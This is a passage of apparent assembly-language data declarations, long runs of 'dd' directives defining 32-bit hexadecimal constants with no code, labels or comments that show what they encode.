0ADB00Bh, 0F44EFA14h, 65D0CE09h, 0D4E920C3h dd 8C81DAECh, 6F310884h, 401F91EDh, 0E891A41Eh, 8919E1EBh dd 0DA081551h, 27859C50h, 0FF5809A4h, 0D500E539h, 49C4D269h dd 8293F80Dh, 0EDE828C7h, 2CB10016h, 0FD4A958Bh, 63000C3Dh dd 7C5A38D5h, 6037B056h, 0ADF59086h, 0D4560408h, 56F20A7Ch dd 7743A4BFh, 5919000Fh, 63852DFh, 31005679h, 0D5963591h dd 73999240h, 288C6118h, 0E8EB367Ch, 0E0039A5Fh, 486A40EFh dd 0AF51035Ah, 0D1DB5327h, 6E9DDAC8h, 0EEFCF100h, 0BBFBC0E7h dd 58C303D6h, 708A576Bh, 3F29B6B8h, 5188A100h, 9650D7B9h dd 6D84004Ch, 3205EA92h, 8300D223h, 6CAC2D36h, 0EC44E35h dd 6368EB42h, 59439000h, 90E936Fh, 80D0A73Ah, 33F4321Eh dd 22DC0065h, 0CE2B5D75h, 0B800C8F5h, 0CB8E81BFh, 7E6876AAh dd 12FE0038h, 0F40A0327h, 35000EC9h, 50342932h, 73F330Ch dd 41AAFFD6h, 0B6840380h, 0AE2A71F8h, 74E21938h, 6F18BC00h dd 0EE376BF1h, 29530069h, 0F9D50372h, 8300DA9Fh, 74B9FBA7h dd 28930540h, 20651Bh, 0F231C53h, 30ADF5Dh, 8B633105h dd 758097E0h, 0CE55F8Dh, 0FEB8DEB1h, 8C00E750h, 0D04D4638h dd 0BA2E37h, 8AC41A7Ch, 0E7D72264h, 0D886FD00h, 45582D28h dd 5A130005h, 0D5515DDDh, 92049F8Bh, 0EDCDFD1Bh, 0FA302383h dd 8FCEE01Ah, 7312005Bh, 0C8DBA30Eh, 2EC96D9h, 0D1776403h dd 8181F67Ch, 40837518h, 0EA7187F3h, 0C2D482E0h, 22247000h dd 18505CADh, 0BAAB004Ch, 0F5F9A584h, 0A700CE76h, 130C2DAEh dd 28EC36D9h, 0F80AC15h, 0B0E69CBAh, 4E4C43FEh, 0EFC8910Dh dd 76653D02h, 6D806230h, 3B49C168h, 0E00AC78Fh, 80A086F0h dd 1DD9DC5Ah, 0E80F95E5h, 2237139Bh, 8F3B7648h, 0B8017E0h dd 9AE41h, 962207A3h, 18C88FD1h, 85BE80C0h, 4D23B0h, 4140869Ah dd 8C28DA52h, 517416FEh, 7AC19B0Eh, 1394EAAh, 6864D526h dd 7C6CC181h, 200D0F49h, 0F77EC540h, 0B243272Ch, 180A7812h dd 7B12A036h, 440C6000h, 105C8B2h, 0ACCF1E8h, 0D05E40E0h dd 643BB411h, 28C0D41Eh, 0C3EC5400h, 717A6F57h, 3164B829h dd 0FD5207A1h, 2C47EC4Dh, 66DC6060h, 1814EFBFh, 4110F5F0h dd 0C2001EB4h, 0AE053D1h, 0D3CB08h, 346F3E18h, 36EF1FFBh dd 14C09E00h, 0C6646A44h, 39D9F431h, 0B180AA0Ch, 5B5686Ch dd 0CD1E9312h, 180B456h, 0F884E8BCh, 340D2047h, 0E000077Dh dd 0DC40957Eh, 12B19199h, 1FCC8h, 5FB04758h, 42002EA7h dd 26298923h, 289B4659h, 0C06C66h, 91E1477Ch, 4F15F087h dd 0A7A7F00h, 54442DC7h, 0D0764C01h, 0F8FA41DCh, 0CF6C2B3h dd 642588DEh, 0FD82FA00h, 0ECE897B5h, 72EA1156h, 2880081h dd 347E5D23h, 478E00E6h, 28DF2ED1h, 0E300C863h, 67F52CA5h dd 3695292h, 0AE480377h, 30002F78h, 3E62A812h, 0FA70DCh dd 524C6481h, 71E5E2FDh, 0AF7B4Ch, 0FED2ACADh, 0B2E934h dd 0CB4E1A60h, 668298BAh, 1CF04C4Eh, 8820A7DFh, 5DC0F1CDh dd 0EEAE090h dd 52478F44h, 196F0901h, 86ACF8FCh, 8246533h, 52D00108h dd 9B6F51A5h, 0E86CF034h, 0AEE5501Fh, 588EE001h, 2880E721h dd 0D2E3A1A2h, 0AE9806BFh, 3A532C00h, 799FC757h, 65CB1E29h dd 0EA4A8CD0h, 0FB150A30h, 0B904D53Eh, 4478194h, 0F09058F1h dd 10C3DA46h, 9D8F5021h, 72490401h, 509D78E9h, 7E9821E7h dd 80AAC638h, 20A4E391h, 4C2218C0h, 0FE6E559h, 5EEA8739h dd 0F28E4819h, 95182888h, 0AF284CFCh, 0C028D104h, 2F0E287Ch dd 898A6C1Ch, 0F4576710h, 0F2104550h, 0F3D260A3h, 600C1046h dd 6C59AF69h, 40F851E9h, 4116404h, 6052811Ch, 9A130C7h dd 14FD140Ch, 4879C614h, 77B08164h, 0F858508Ah, 54F500D4h dd 4B866EBh, 0DE11811Bh, 470C3092h, 9408DB83h, 2F4EE304h dd 0FC10F288h, 0EB040BADh, 4434E913h, 8986C920h, 30D1E4B0h dd 9D99CA00h, 57B2ED9h, 0D4DA2638h, 5E524078h, 140696FFh dd 2E0D6264h, 0FEFB3D51h, 593898B6h, 0AC4499F8h, 30053074h dd 0DDC1649h, 5F9BC800h, 18C96292h, 6EA312Fh, 0D8A46761h dd 8169E325h, 59700010h, 7864D7AAh, 97293011h, 0E00DDB69h dd 925D1D00h, 77330E6Dh, 201A0BFEh, 378765B0h, 40CD47C7h dd 35041041h, 6007F300h, 0C4534C68h, 0A4A9C191h, 87CE8E47h dd 0A7EA8D08h, 99E59CB0h, 48C1DBF4h, 7FE651A6h, 0D2C0CD1Eh dd 84B38Bh, 669EE596h, 531F0013h, 402BBA0Eh, 0F70063FFh dd 265CE70Ah, 18D65049h, 0D9DB95EEh, 550A2DE0h, 8CD710FDh dd 0D2BD8C39h, 83E8A9h, 2F268DFFh, 2BE45A6Dh, 116589C7h dd 538067F7h, 904CA16Ah, 8801199Ch, 11FC289Fh, 0E3E0143Bh dd 0D60A175h, 5068840h, 0B8924878h, 6400C43Dh, 7A25BE52h dd 0E3225351h, 63E1CED5h, 8FDF025Dh, 0E46B1859h, 308DB8D8h dd 8B3EF400h, 5D61CE8Ch, 100F500Dh, 306A0E60h, 460C5953h dd 0E5E81CA1h, 4288B0A1h, 0F84863ACh, 0D7006DABh, 0BD9C1AF8h dd 40AFE4Ah, 0DA0D5FE6h, 0A6A810DFh, 61980F10h, 0DA03FD33h dd 0D1CCC2D1h, 108D9914h, 29CDE406h, 61B89CD0h, 8D5BBD8h dd 0FF3388D6h, 6D302A00h, 3155A7FDh, 95E600EAh, 879F0B39h dd 0C3EE5B10h, 2B588909h, 1E20057Ah, 45DB9840h, 5023199Eh dd 0D6A42Ah, 0FA0E9C6Bh, 32F39FA4h, 0BE18AB0Fh, 0B80617E6h dd 0C8F4A2h, 0D88855A9h, 0F5C5785Fh, 345EC005h, 0A004974Dh dd 90D002C4h, 41062339h, 603DE0A3h, 0DBA40D14h, 60229FB8h dd 0E40E31F9h, 8FA448Fh, 40D08549h, 0D61D5CD8h, 881498D2h dd 0C8F4B18Ch, 0EDE5C100h, 9931AA40h, 0B5E90C0Ch, 0B6A6081h dd 0F01218F8h, 0A9C53029h, 82C29A8h, 3CDD802Ah, 19C98B2h dd 43E6CD0Dh, 0F1109960h, 5F005161h, 0DBF1D8E2h, 5BE49EFDh dd 24D2FE04h, 0DACCC67h, 608C0D2Ch, 0C56A7A10h, 76502C90h dd 0D9488848h, 14502824h, 595BC80Ah, 0CD409C9Dh, 5205F767h dd 870F58E7h, 90991CE6h, 0E51845h, 4B8A95F9h, 0FF4622D6h dd 1FD41A06h, 30805EC8h, 2208FF1h, 0A03415Bh, 53C727Fh dd 8320E747h, 19ACB257h, 7895A09Ch, 8D671006h, 0FB5329C7h dd 0C3940480h, 0A9E08279h, 1307CC19h, 38518D7Ch, 0DDF1FF34h dd 18643462h, 0FB1A301Bh, 77C8B09Eh, 0CD6D0073h, 3BD2C3DBh dd 0E9500367h, 2844088Ch, 143E48CAh, 8C8A29h, 6D4C672Eh dd 426098EAh, 0DFC57981h, 0E9922E65h, 201BE98h, 44866422h dd 6644308Fh, 9C462300h, 110C8E71h, 8AE4244Fh, 0C01667C8h dd 5C601FF1h, 0F0EBF77Eh, 6BE0C4D2h, 0EF287CB8h, 46548C64h dd 2C00BB98h, 0B9AC40AAh, 9930AC8h, 751555DEh, 0E378F880h dd 8760581Eh, 0A3C872C9h, 0A709016Eh, 9FD18D42h, 804BD143h dd 0C2139221h, 0C655B51h, 41D7E6Bh, 0B8123478h, 908CB78Eh dd 1A6F0836h, 0EDC422FCh, 6F1FA040h, 510297D7h, 7C7343CBh dd 0D11C20F8h, 6600A12Bh, 9AACF1A0h, 9B36E9h, 0F7F0D895h dd 6FC0BE96h, 0A206D407h, 5E84AD70h, 5A007DACh, 0C36A11F5h dd 4AE812DBh, 99207160h, 0D9D5C7h, 0DFF47534h, 0C4365BBFh dd 60EF8390h, 0D5019984h, 64713AE9h, 398044D8h, 0A4737F46h dd 0F80F9858h, 201C876Fh, 95E5D2D7h, 9C960068h, 913EBEB2h dd 2100ABC5h, 0A2C98206h, 0E9CAB1FDh, 2080B7F1h, 77ABD3DBh dd 0BB00DE7Eh, 0C30D2E7h, 11978Fh, 5AC1D641h, 0F70B47D8h dd 5D90BD61h, 8992353Dh, 48141BB1h, 0C4F196C3h, 16309E8Ah dd 0A2393C03h, 0C3100F8Eh, 0B6A01B2Fh, 7642CBC1h, 0DA1CDC00h dd 0DB16F8A8h, 0AD1203E9h, 248D91D6h, 0BEC113D8h, 3387001h dd 0DA2F1D34h, 638964F0h, 0BFC408E9h, 0F9862000h, 9AEF1644h dd 0C77101A5h, 460422FFh, 0AC09D833h, 70B0A90Bh, 808B8E76h dd 1E5EC118h, 6A0200F1h, 87AD33F3h, 0AB30B5A3h, 46B42196h dd 0CA0D00F2h, 0BC118AD1h, 2A2607BFh, 0AB030EEFh, 0D76FB6DEh dd 0F218CAD6h, 0A9C71870h, 0D9D441BEh, 0F747C018h, 0E8CCA11h dd 37BB79E1h, 5EF96A0h, 0ECFB113Eh, 0A218126Fh, 0D7D1B2A7h dd 0EB7128h, 0BDFB7EA6h, 0D5F38265h, 0E5F5AD03h, 0AC2745h dd 212CA169h, 38755EDh, 0AA0E0D0Eh, 21B98C04h, 21FF02E8h dd 0F679D6AFh, 1E32460h, 0D1807100h, 0F29B1D96h, 747FBFh dd 3C69C0A3h, 5D0199E8h, 3221D70Eh, 77A98660h, 27E0020h dd 91F1123Ch, 0BC07DCF7h, 736DEBE2h, 137AB2A0h, 0AD6A00C4h dd 0E3045C0Bh, 4C006514h, 2BD22D10h, 7D1E9BA4h, 95473D2Fh dd 40D0F533h, 2EAAE1C3h, 0A2E4B9E0h, 0C3ECED00h, 0DE63E11h dd 94DE0083h, 0C9704DD5h, 18001E3Ch, 0E408A25h, 2C2215h dd 607BB9B3h, 76656D3h, 6428C4E4h, 6D00FB21h, 36A54EB8h dd 3B31D810h, 0F0876CEDh, 60B7FE2Ch, 0BFCF5054h, 17D40B03h dd 0C81CF1A3h, 35A6A4Fh, 1674B4E9h, 28C8132Eh, 1011DA2h dd 0B68459FFh, 2AE81E63h, 211107F4h, 80A8E004h, 5C388F62h dd 39A06AFBh, 0F9030014h, 0AAE0913Bh, 0B303CF21h, 0C625B6Fh dd 0D8292188h, 0E33FDA04h, 4AB2D304h, 0F40828A5h, 0D2E4886Bh dd 1114F794h, 7008AD79h, 0A4041B9Dh, 0FB08DFAEh, 0D6A5A680h dd 73BE40Bh, 320DF035h, 30F25281h, 0DB1AE940h, 0D511D707h dd 1ED00BC2h, 8ECF88h, 0A36B721Fh, 4B4C8CB3h, 69F31200h dd 0C959F425h, 985B0029h, 38DE32CDh, 0A9035083h, 0B3C21A0Ch dd 49B2B89Eh, 25210024h, 2E155F3Ah, 0E1007AAEh, 0B94CE887h dd 72DD2928h, 0EEA10259h, 1ADF445Eh, 0D44DDC61h, 45072F43h dd 41CF1EA9h, 0B51B58F0h, 7598004Ch, 0B1DA4B46h, 12287AB8h dd 0A700C829h, 0F641D625h, 17C77Fh, 55A6D1E4h, 4D9ECD76h dd 80183E3Bh, 0F281CB5h, 788A178Eh, 6578C0EDh, 8480B7BBh dd 55934Ch, 660C12F8h, 0FEB66Ah, 95688D13h, 1101CD75h dd 21000090h, 0AE248727h, 973B90h, 8F92346Eh, 0FB04D7AFh dd 0AC00CD75h, 772DF2C1h, 1E7080EBh, 0C0AEBDC0h, 0ABE16818h dd 6C009962h, 282B4A82h, 727F057h, 7EA2EA31h, 4E50A707h dd 92733EA1h, 2EA840A7h, 8E00175Bh, 0C3BA7DEEh, 0B0D31F32h dd 12A2001Dh, 7466B713h, 52002EF2h, 0A35CA9C2h, 355F04Eh dd 4F94D07Bh, 0BDC8DDBBh, 6F0344F1h, 1B48E380h, 50BFE0B2h dd 31F8FEh, 0F42DE24Fh, 0BC5C5539h, 81434E3Fh, 0EEAF5147h dd 0F8D8F2A0h, 94323BA8h, 0E5C74200h, 6949404Fh, 0A7A66504h dd 0C7C090BFh, 0AC2DEC3h, 20672810h, 0BC6D00D4h, 0C11BA4F6h dd 1270DF01h, 143990D1h dd 4B9D4h, 2CBDE0C9h, 0CBBEEFE9h, 3B080F01h, 39133AE3h dd 70997CCh, 0EA2B6005h, 9B2260E8h, 0F60026CFh, 0F8A9F7DAh dd 0EBFEBEh, 84AFDBF4h, 0BCD37551h, 0CDFDC801h, 0B744DF10h dd 2E6008D5h, 0FCD007CBh, 108596DCh, 0A1497887h, 624E521Dh dd 76805A1Dh, 7E6E4BD5h, 2D2A00B8h, 0A3974F3Eh, 0F27BD77Ch dd 53FA4801h, 0EFF1CDF0h, 0FDA360h, 28681217h, 38961E75h dd 180ACC26h, 0F232BB3Ch, 8F452407h, 6C10E143h, 0F908E7h dd 0F2FA6957h, 0C0406DAEh, 0EF78A800h, 0BD075185h, 18906Ch dd 96CA583Ch, 63C175A7h, 4685C600h, 445BF3EAh, 0C5230ED3h dd 0D72092CAh, 22B073ACh, 0B1DB9801h, 0EFA4B3Ah, 7BA827E0h dd 0CFED00B8h, 8CF59377h, 710048D9h, 0B070A632h, 0A1A566h dd 3618AA72h, 0BD565E20h, 898DD00h, 4AED0E25h, 93F4F968h dd 7663076Fh, 20BC9BD3h, 6CB1D230h, 0D9513200h, 9CE6C1AFh dd 0DEECEFBBh, 0C6B30944h, 4005D73h, 31A4071h, 0A38D2F00h dd 84240661h, 0D190FDh, 4CEE6EDh, 4105C0A1h, 1CC10A0Eh dd 656720E7h, 7325D51Dh, 2C017703h, 47C95D7h, 80CE740Eh dd 8553B604h, 54B85607h, 0BF40BA13h, 885C5Ah, 4D627479h dd 40CAC49Ch, 1A73A071h, 5652BFECh, 340C00C0h, 16FE36F3h dd 0BDEA3CD5h, 39F9312h, 1DA6A4C0h, 542640B6h, 0D700E844h dd 0E204DE7Fh, 0BBF60028h, 946F5C3Ah, 4A00BA86h, 0E5B497A6h dd 15F570Bh, 569CF25Bh, 80FA51A1h, 0F5189110h, 1A590F1h dd 3895B32Bh, 60CBC3C2h, 48919C2Ch, 2E106700h, 324F3A6h dd 6A09868Dh, 0B5E0537Dh, 8A014221h, 0FE5DE5ABh, 0F230445Fh dd 89BD134Dh, 998034Bh, 0B9B07E0Dh, 1619B171h, 5860CACDh dd 3C40180Ch, 662601C6h, 0CB83D1EFh, 0B547C8F7h, 0EEA28F00h dd 98A8B6A6h, 0E2AF3BBDh, 9C801E0Ch, 8E0EDF29h, 0C0A913EBh dd 372DF030h, 7B2F01C9h, 8AB83C89h, 0ED43045h, 0DA3CA17Ah dd 0BC430058h, 8E44C5A6h, 6EB00006h, 0DFF50FB1h, 0A0E6A5B2h dd 875C153Fh, 5B56376Bh, 0F6E5AA10h, 5734005Fh, 6AAF2666h dd 5800B31Eh, 0BD31FF94h, 7CF601D8h, 0E408005Eh, 59511D20h dd 0BF5835DFh, 0A81C0F8Eh, 299C0CE2h, 9D60EBFEh, 7802001Eh dd 1CFDB253h, 4900AB23h, 5204D1DBh, 1D2EA76Bh, 7CBF84B3h dd 89875A00h, 719403ABh, 636D2D00h, 7AD06EA2h, 24950EA7h dd 0E7A1A9E3h, 8040BC65h, 22D76FF8h, 7838C4h, 5D42EACBh dd 0B1C34783h, 581F4A00h, 0DF5CE575h, 585FF64Ch, 688010C4h dd 0EF1E46C5h, 0AF0094EAh, 0C6239016h, 3F41512h, 0B8D052FAh dd 0FCE804B6h, 0B1002669h, 2D5D65D2h, 0B06DE801h, 409506B2h dd 18663BBFh, 0D3777B00h, 0EECBE7EAh, 1BF20111h, 0E5F9AD3Dh dd 4BF7F4A5h, 0AA3AFF00h, 409CB679h, 0CA8A002Dh, 5A3DC945h dd 560046B8h, 693C137Ch, 0DC66A9h, 575C7349h, 0A3F62774h dd 0BA6AE200h, 75769135h, 524500E9h, 0F007D78Eh, 0EA00D17Ah dd 47F7BA31h, 2DB835h, 0FEC4431Fh, 53BD0458h, 75C81900h dd 0A68B7FF3h, 2C1200F9h, 9FBB8AF7h, 9300B459h, 0ED4A3A4h dd 0E272E1B6h, 88FF1D16h, 3328C077h, 14E6A52h, 654FE700h dd 69854D24h, 0DA6001A7h, 91D9282Ah, 0B289FCF0h, 117B8B30h dd 2B02BBAh, 9C8D9DB7h, 30E8F538h, 0E802674Dh, 0B65A80E2h dd 1E04648Eh, 50575Dh, 819894DCh, 0D02A596Fh, 8D00C0ECh dd 2B6ED76Ch, 3254209Fh, 2C39A8ADh, 0E7960AE0h, 66A6F612h dd 5E7DD001h, 0C840EF21h, 24E11213h, 1D7D3A93h, 0F98309C0h dd 0A1DE0CA0h, 421EA33Eh, 8A4070C2h, 2A3A0B87h, 55F6D7h dd 0C9605792h, 98917A43h, 7513350Fh, 0ED3A8066h, 0D599FBh dd 6BAA8254h, 60BC5DEFh, 50E8A75Ch, 332E8BB9h, 0F89E83Bh dd 0B8750156h, 4BE4CEF2h, 0CD8C00C2h, 0D308BBE6h, 403FC361h dd 50B04F38h, 22E00D0h, 7CA159CDh, 73008597h, 3A5C8435h dd 2C4994h, 878E0D1Eh, 0BCD443D6h, 2248AB00h, 986C66BAh dd 9C40296h, 435806ACh, 209A81E1h, 0D4027C17h, 0B98E1B85h dd 9C0501Ch, 0DF224228h, 668FC840h, 739FE800h, 61B2FD8Eh dd 31620EDEh, 4A0023E3h, 0BA3BFB25h, 7DD0A8C1h, 99D83F7Bh dd 1AF7034Eh, 0C3DE9476h, 69FA2DD0h, 3D591600h, 38EAD455h dd 583C770Ah, 0C407B02Eh, 0EE4650h, 0D79F339Eh, 0D900E872h dd 25D6113Bh, 9287C3h, 0D81C31FAh, 0DDBA699Ch, 0A05E7700h dd 9A0BC1A8h, 0D798B6h, 9414FDFAh, 0A7E92388h, 0E08CC313h dd 8B412B00h, 0FA3F2F42h, 0EF5A0335h, 28BAD9F7h, 3400F8A6h dd 78906959h, 0E054E3h, 2571B2Fh, 509D63F9h, 3462F000h dd 0F5CAC7BDh, 995D00FBh, 76B4D370h, 12165AB2h, 0AC00264Ah dd 48FD5ECAh, 58980004h, 0E81BD7Bh, 900F6136h, 0A0B0A111h dd 0BBCA1E28h, 12F9FED6h, 93C8FAh, 5730BC84h, 620089EDh dd 0A947AB10h, 506DBF36h, 0E6B7D0D3h, 0E1320021h, 88A45913h dd 0DF00A655h, 973D1403h, 1E6ABC2Bh, 40DB5B80h, 0A8C4790Fh dd 11027C20h, 7792B661h, 19184037h, 0ADFC6Eh, 47F57508h dd 258DDD49h, 0A43FD60Bh, 4437004Fh, 3B60B6FEh, 75800884h dd 0AB7C915h, 235852DEh, 7F270F24h, 897E43BBh, 0E96F839Eh dd 0EB70D691h, 0F3BE0079h, 5B49A240h, 7000B78Dh, 13711730h dd 0EFA575Ah, 67C5DA33h, 0E3936620h, 833BF14Fh, 80073AE9h dd 4C3C2BD4h, 0F8E8F0Bh, 519DDE88h, 0CB078B6Fh, 0C757F466h dd 0CC5B6024h, 0B205448Ch, 0D6EDD351h, 7BFFA300h, 1F74EA42h dd 400F5DDBh, 260DF1AAh, 0ED02DF96h, 0D656B39Dh, 180040F6h dd 89A40049h, 0B6CEE9FAh, 0EB003E88h, 0AA4A2534h, 4A791908h dd 270800E5h, 0D645EEC9h, 1D636900h, 0DD24582Eh, 26DAFAAFh dd 54B9D3h, 8CB2E912h, 10C0B764h, 0FCA394A5h, 0ECB01D29h dd 3C67C028h, 0CA8BE6DEh, 0B7655300h, 0C5549E91h, 0F20F7C35h dd 0CC170189h, 972080C0h, 0F59C34B3h, 0AC2D57Ch, 0E1A0C3D6h dd 1530EFA4h, 0F0B5002Fh, 8C4BD94Ah, 0F400EC2Ch, 9D9F2656h dd 0AF69CBh, 0A5DCB270h, 349BD20Bh, 0D1007278h, 256D7A38h dd 12F66C36h, 273EE0h, 70590F8Ch, 4A26BD6Fh, 1880C0E8h dd 0D5522E6Ah, 0F7260651h, 609E8E87h, 0DABEF204h, 2E40AD63h dd 0E4535008h, 8402DFB0h, 1F5433D1h, 0B03060F5h, 410409D7h dd 204025C7h, 740380BEh, 8E54FD50h, 5E93E898h, 276001Fh dd 42ABE116h, 312EAA0h, 38408D44h, 37A530C9h, 0E5D10077h dd 0B325496Ah, 889C5BF0h, 2B861B00h, 1639B17h, 59D8553Ch dd 0C05B5E73h, 0A5004479h, 1442025Fh, 0E3FDDEh, 2FA36103h dd 4956E207h, 0EE787C03h, 85E18428h, 6F6BBCC1h, 0D54100E2h dd 15133914h, 848105D7h, 9AF7DED4h, 17C720A4h, 670132DDh dd 84759569h, 4080A8C5h, 0B3A013C0h, 0CB01A71Ah, 0DC6956A2h dd 0B450F220h, 18C9F31Fh, 103A9499h, 0A0002554h, 0F8DA88FEh dd 0B2ED3150h, 412F3A7Ch, 839C831h, 0F0ED213Ah, 95003139h dd 0A2BB5216h, 0C0855599h, 0CD7D2B30h, 0FB007C54h, 3C8B60E8h dd 1FA479Eh, 243836B9h, 0F4F72FDBh, 3B7887B5h, 282CED00h dd 0CC806162h, 0F760F1F8h, 3C063C21h, 8487FD03h, 951F44h dd 6ECB2B8Ch, 0A400A665h, 9EE23EB6h, 1EFC6B5Eh, 80C36CDDh dd 0BFA02EE9h, 0D002B58h, 0E0C74EF5h, 0E509F464h, 57BD20h dd 0DF3272C8h, 6BFE7493h, 0BEFAF50Eh, 41D78CE2h, 2F5800DBh dd 30BBFC57h, 80A06011h dd 2609BECEh, 0EBB6D474h, 5BEF71Ch, 1C097F9h, 0A5E85ABh dd 5B840A7Ah, 38C728F5h, 8003341Eh, 0A88B6638h, 7EEE91F0h dd 0D553FA0Eh, 5C512022h, 755F83h, 0EC6DD707h, 322B641Fh dd 38BCC424h, 9D337780h, 90EFC902h, 0BF0E0400h, 0F0783A0Ch dd 2B245BB4h, 2F0100A9h, 7F89DB59h, 12EE4h, 0D80FFA48h dd 0CEA39EE0h, 0D03A1F00h, 69FF7F0Bh, 6F700C4h, 4041108Fh dd 9A16F3B5h, 0DC5C80E1h, 30000C97h, 822CE304h, 0DB9F004Eh dd 7E3F35E7h, 1D78E9EFh, 3EFADC3Fh, 8DF80F4h, 8BC9CAFCh dd 1BE00092h, 0BCE37A63h, 8307908Fh, 0ABE4373Dh, 0E135D680h dd 9A4100A7h, 0A110B497h, 95489960h, 3F6C386Dh, 0C61FA485h dd 68AAF100h, 69F337h, 8C7F624Dh, 0F51E851Ah, 26B6DF00h dd 9A966C11h, 9183035Dh, 7FF0093Ch, 60CAACB9h, 2B00D666h dd 0B055221h, 529964Ch, 0F50281B8h, 0EBBF14D9h, 5F6A0376h dd 62B9E918h, 41A852B0h, 0F939AE1Dh, 0F882C14h, 72ADCAF3h dd 0B4C2ECC0h, 0F43360C8h, 27A74A04h, 0DFA5A800h, 0D009E1BFh dd 70C769Dh, 16EEB01Fh, 7BC02FAEh, 0B2E76E27h, 7D0381FAh dd 0BD47F786h, 1B2588C1h, 5C114D13h, 48535200h, 0BA3E674Fh dd 0C0208D01h, 4A08FD86h, 10CA6E0h, 0CB52ABCDh, 4B10031Ah dd 0A0ED00FCh, 191F93C6h, 0F57ED3h, 0C35FF3BDh, 4423578Fh dd 0D27C4E00h, 97913A6Dh, 9E1B2D75h, 6A8F9C02h, 0C02EE055h dd 0A89466h, 52DC5EF1h, 0B85CB7AAh, 9C3400D0h, 85B47C0Ch dd 1AE92D81h, 2900D3D6h, 9E4D36A3h, 1B0CAh, 0B4FC9821h dd 0A4901DCEh, 7296A02h, 60E0416Ch, 0D82D70h, 0BA166E34h dd 800AB432h, 59F8FE07h, 46B14ABh, 0B0C01DDEh, 0AA7DC7h dd 0FF328A3Eh, 2E6DA3D1h, 4B4614Ch, 9243D46Eh, 4E00E1F8h dd 0E3CE3758h, 71728380h, 0B0E9FD2Ch, 0C6A7D000h, 9724EBBh dd 2CF826BCh, 0FF94C800h, 97000657h, 0D65FE592h, 485C05A8h dd 0EB248856h, 8A2400E0h, 0DEFFCE64h, 2B9F5100h, 83A69DBFh dd 7A97074h, 0EA98405Fh, 868E103Bh, 341CAA20h, 2B4042C9h dd 72B0081Ch, 35530904h, 408063BEh, 4BB454FEh, 6C2B4000h dd 514296DCh, 0DD180794h, 0E43036h, 0CD4EC54Ch, 0CCBFF91Dh dd 924DD500h, 3868410h, 384CE1B6h, 8B811803h, 0A915D8BAh dd 1E00EB7Ah, 0A2CAB6A7h, 1E3A69Ch, 2D2A1332h, 80120BE1h dd 0B6DEBF0Eh, 775DF1F3h, 163DB0AFh, 34A11Bh, 47F84D8Fh dd 0D0B07B0Eh, 56BEF00h, 13A2A6EEh, 1A1900A4h, 0FEDC1480h dd 95003B0Ah, 8D25D84Fh, 1110B6h, 0AE4ACB08h, 78224B67h dd 98F8F000h, 33B43B27h, 6E1A002Ah, 6D4181B3h, 0D53AADDBh dd 0A9ED8F24h, 33478077h, 72C69h, 32D31F4Eh, 0E3D77F0Ch dd 37A319C1h, 0AEE9EA19h, 1D42AE0h, 0D0E6D867h, 20A4CE81h dd 0A87CFA9Ah, 0F3FCD100h, 680CB064h, 0C3BD005Dh, 9F408339h dd 0ECCCB87Bh, 0F2EF49AFh, 7E9B009Dh, 0A9F50FC6h, 235B1B3Ah dd 0DB1C6FB8h, 43D7413Eh, 20F171C2h, 2D0005ECh, 0A05B6AF0h dd 0D33591h, 2B1A1E19h, 0A54FE394h, 11D8CA00h, 0FF8B5EDFh dd 363C00F5h, 0D986708Eh, 0BF8A769h, 0BC3DF217h, 0D73F2900h dd 74074BD8h, 4470C02Bh, 0D462383h, 0B60FBD7Ch, 0A38629CDh dd 0C20224A4h, 1AAC38Eh, 2D03C410h, 70456DDBh, 0EC0059B0h dd 9711274Fh, 3EAF07ACh, 0EB87AA0Eh, 11DF309Eh, 0E0BC4271h dd 8500B7D1h, 7E43F380h, 1C728C0Ch, 80BD5A4Bh, 0D76EED65h dd 6D00C08Bh, 20BC5B71h, 1DC92DAh, 174B128Dh, 0E2D19EF2h dd 0C15B90A1h, 1AC0C75Ah, 6B0005C2h, 45126418h, 1F60C8h dd 8CCBBE79h, 0C5ED495Ah, 5D85C701h, 229EE790h, 387A81F0h dd 21001512h, 0C81E9D79h, 0CA00DDF8h, 0BDDB733Ch, 1697B45h dd 0D588857h, 30303175h, 0F100AFB2h, 0D8546DD9h, 6FC4EEh dd 0DF3847BBh, 0D2DD8731h, 8412370Dh, 88602A5Eh, 5C59E2E8h dd 0D930531Eh, 0EEFEC4C0h, 7F70E601h, 0B99E12ACh, 397C6E0h dd 3F26BF43h, 0E83A8341h, 8D5507D8h, 0EED157ACh, 10243506h dd 0C8A4005Dh, 511AC944h, 3C2ECD99h, 0BE00096Ch, 0BFE5D4E3h dd 15A70103h, 4D27511Fh, 0DC80D234h, 76C336FFh, 0AC4624h dd 23F65780h, 0F294BFh, 0B107E30h, 0C033A5E7h, 4EC2000h dd 4CB63801h, 998467E1h, 3557C077h, 0A53BA3AFh, 0F8450428h dd 7BC04668h, 0CC3E6E0h, 75EF36AAh, 13003E30h, 92B0C674h dd 3CF248h, 570FEB21h, 0CFF5FB7Eh, 0B022613Bh, 64F061D7h dd 6104EE79h, 1F07416Dh, 0A3C7471Ah, 282481FEh, 31002C6Bh dd 623C8BBEh, 0CED03D9Eh, 0C6E0306Fh, 8F2605F1h, 1600B4ECh dd 0FAAE29ACh, 156977h, 9E78737h, 432CB06Eh, 5AE6B600h dd 4C073C18h, 7BA200C4h, 63FE1526h, 8F00F79Bh, 99F84754h dd 3AE5D6D3h, 200AA0Bh, 35AB1443h, 4EF2717Ch, 840CA70Eh dd 21B09CB9h, 349365h, 0DC46274h, 0F5E5D95Fh, 3309BF00h dd 0C0A151E6h, 0B48130EAh, 8C3BAE30h, 4564E00h, 2F390186h dd 0DAB0008h, 34323D6Bh, 0E003AF82h, 6D59717Dh, 1F40773Ch dd 3DCEEC4h, 0FD41FE99h, 3EE0BEA3h, 0D603B5A2h, 0EC1DCC7Dh dd 0D9211BE3h, 0A0603843h, 2AB61378h, 0CC40DD36h, 0DC992E34h dd 4E11430Ch, 90A22977h, 0DBB700A3h, 93C2819Dh, 0BE89E84h dd 0E92121C0h, 1EF672E4h, 0C003F77Dh, 1376D530h, 7C06B698h dd 0C39A952Dh, 6B360079h, 1D3D6704h, 4535A1C7h, 3A180850h dd 0EAE78420h, 5FFE13D9h, 7C4502B5h, 0ACA0A4F8h, 0DF77C8D7h dd 5BDAC100h, 0D236F710h, 3C09F22Eh, 70EC543Ch, 0C440D680h dd 0CE85Bh, 0FC2365F5h, 0C7C053A4h, 0EEA90D01h, 0AAEDF381h dd 45ED8DDh, 4B0C55C3h, 0ACA41000h, 0FA0E62A0h, 34EC0096h dd 0A2DF324Fh, 0FB3E011Ch, 9C080023h, 0D6161D5Ah, 3E66F8A0h dd 0A022119h, 158B36E8h, 69E92C80h, 51C2A334h, 2B3573EEh dd 0F62A02FDh, 